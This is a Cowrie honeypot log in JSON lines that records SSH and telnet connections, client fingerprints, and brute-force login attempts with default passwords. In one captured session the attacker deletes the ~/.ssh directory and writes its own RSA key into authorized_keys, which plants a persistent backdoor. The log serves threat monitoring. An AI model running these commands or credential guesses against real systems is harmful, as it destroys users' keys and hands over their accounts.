{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:48.906775Z","src_ip":"80.94.92.186","session":"130b717c67a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grafana","password":"grafana","message":"login attempt [grafana/grafana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:50.993908Z","src_ip":"80.94.92.186","session":"130b717c67a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:52.208061Z","src_ip":"80.94.92.186","session":"130b717c67a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.27153968811035,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:54.977137Z","src_ip":"128.199.8.54","session":"2708ed2dc0da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.78638935089111,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:21:57.604115Z","src_ip":"128.199.8.54","session":"fee2e4c90206","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.417311906814575,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:02.685846Z","src_ip":"128.199.8.54","session":"f332778bc170","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.952049255371094,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:10.097656Z","src_ip":"128.199.8.54","session":"3ea6cf30476d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.0358669757843,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:12.929164Z","src_ip":"128.199.8.54","session":"361e4083bc79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":54158,"dst_ip":"159.203.135.109","dst_port":22,"session":"26d33ad321e0","protocol":"ssh","message":"New connection: 78.83.249.54:54158 (159.203.135.109:22) [session: 26d33ad321e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:14.125424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:14.137195Z","src_ip":"78.83.249.54","session":"26d33ad321e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:14.256003Z","src_ip":"78.83.249.54","session":"26d33ad321e0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"0racle","message":"login attempt [oracle/0racle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:14.763162Z","src_ip":"78.83.249.54","session":"26d33ad321e0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:15.053170Z","src_ip":"78.83.249.54","session":"26d33ad321e0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:15.056832Z","src_ip":"78.83.249.54","session":"26d33ad321e0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:15.060870Z","src_ip":"78.83.249.54","session":"26d33ad321e0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:15.184139Z","src_ip":"78.83.249.54","session":"26d33ad321e0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:15.474112Z","src_ip":"78.83.249.54","session":"26d33ad321e0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:15.477845Z","src_ip":"78.83.249.54","session":"26d33ad321e0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:15.602844Z","src_ip":"78.83.249.54","session":"26d33ad321e0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:15.607047Z","src_ip":"78.83.249.54","session":"26d33ad321e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":54702,"dst_ip":"159.203.135.109","dst_port":22,"session":"8670ae52f2ac","protocol":"ssh","message":"New connection: 78.83.249.54:54702 (159.203.135.109:22) [session: 8670ae52f2ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:15.721523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:15.726959Z","src_ip":"78.83.249.54","session":"8670ae52f2ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:15.848608Z","src_ip":"78.83.249.54","session":"8670ae52f2ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:16.361435Z","src_ip":"78.83.249.54","session":"8670ae52f2ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.175729274749756,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:16.501355Z","src_ip":"128.199.8.54","session":"906edf79f3fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.72392511367798,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:17.380671Z","src_ip":"212.55.149.117","session":"eed1074e43c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:17.485466Z","src_ip":"78.83.249.54","session":"8670ae52f2ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":55380,"dst_ip":"159.203.135.109","dst_port":22,"session":"a606ed6bde11","protocol":"ssh","message":"New connection: 78.83.249.54:55380 (159.203.135.109:22) [session: a606ed6bde11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:17.602916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:17.609827Z","src_ip":"78.83.249.54","session":"a606ed6bde11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:17.730436Z","src_ip":"78.83.249.54","session":"a606ed6bde11","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:18.245227Z","src_ip":"78.83.249.54","session":"a606ed6bde11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":45048,"dst_ip":"159.203.135.109","dst_port":22,"session":"99afeeceb5ac","protocol":"ssh","message":"New connection: 194.59.206.2:45048 (159.203.135.109:22) [session: 99afeeceb5ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:18.291203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:18.296765Z","src_ip":"194.59.206.2","session":"99afeeceb5ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":39406,"dst_ip":"159.203.135.109","dst_port":23,"session":"2763acd32596","protocol":"telnet","message":"New connection: 69.6.249.0:39406 (159.203.135.109:23) [session: 2763acd32596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:18.336995Z"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:18.367187Z","src_ip":"78.83.249.54","session":"26d33ad321e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:18.373411Z","src_ip":"78.83.249.54","session":"a606ed6bde11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:18.383679Z","src_ip":"194.59.206.2","session":"99afeeceb5ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:18.474653Z","src_ip":"194.59.206.2","session":"99afeeceb5ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40984,"dst_ip":"159.203.135.109","dst_port":23,"session":"43b278b84890","protocol":"telnet","message":"New connection: 128.199.8.54:40984 (159.203.135.109:23) [session: 43b278b84890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:20.189405Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42564,"dst_ip":"159.203.135.109","dst_port":23,"session":"71d480fd0300","protocol":"telnet","message":"New connection: 128.199.8.54:42564 (159.203.135.109:23) [session: 71d480fd0300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:21.024478Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60482,"dst_ip":"159.203.135.109","dst_port":23,"session":"51bc369ae6fc","protocol":"telnet","message":"New connection: 128.199.8.54:60482 (159.203.135.109:23) [session: 51bc369ae6fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:30.064666Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43554,"dst_ip":"10.17.0.5","dst_port":22,"session":"48e8feace3dd","protocol":"ssh","message":"New connection: 103.15.226.202:43554 (10.17.0.5:22) [session: 48e8feace3dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:36.866291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:36.871054Z","src_ip":"103.15.226.202","session":"48e8feace3dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:37.122036Z","src_ip":"103.15.226.202","session":"48e8feace3dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:37.860676Z","src_ip":"103.15.226.202","session":"48e8feace3dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:22:39.109164Z","src_ip":"103.15.226.202","session":"48e8feace3dd","protocol":"ssh"}
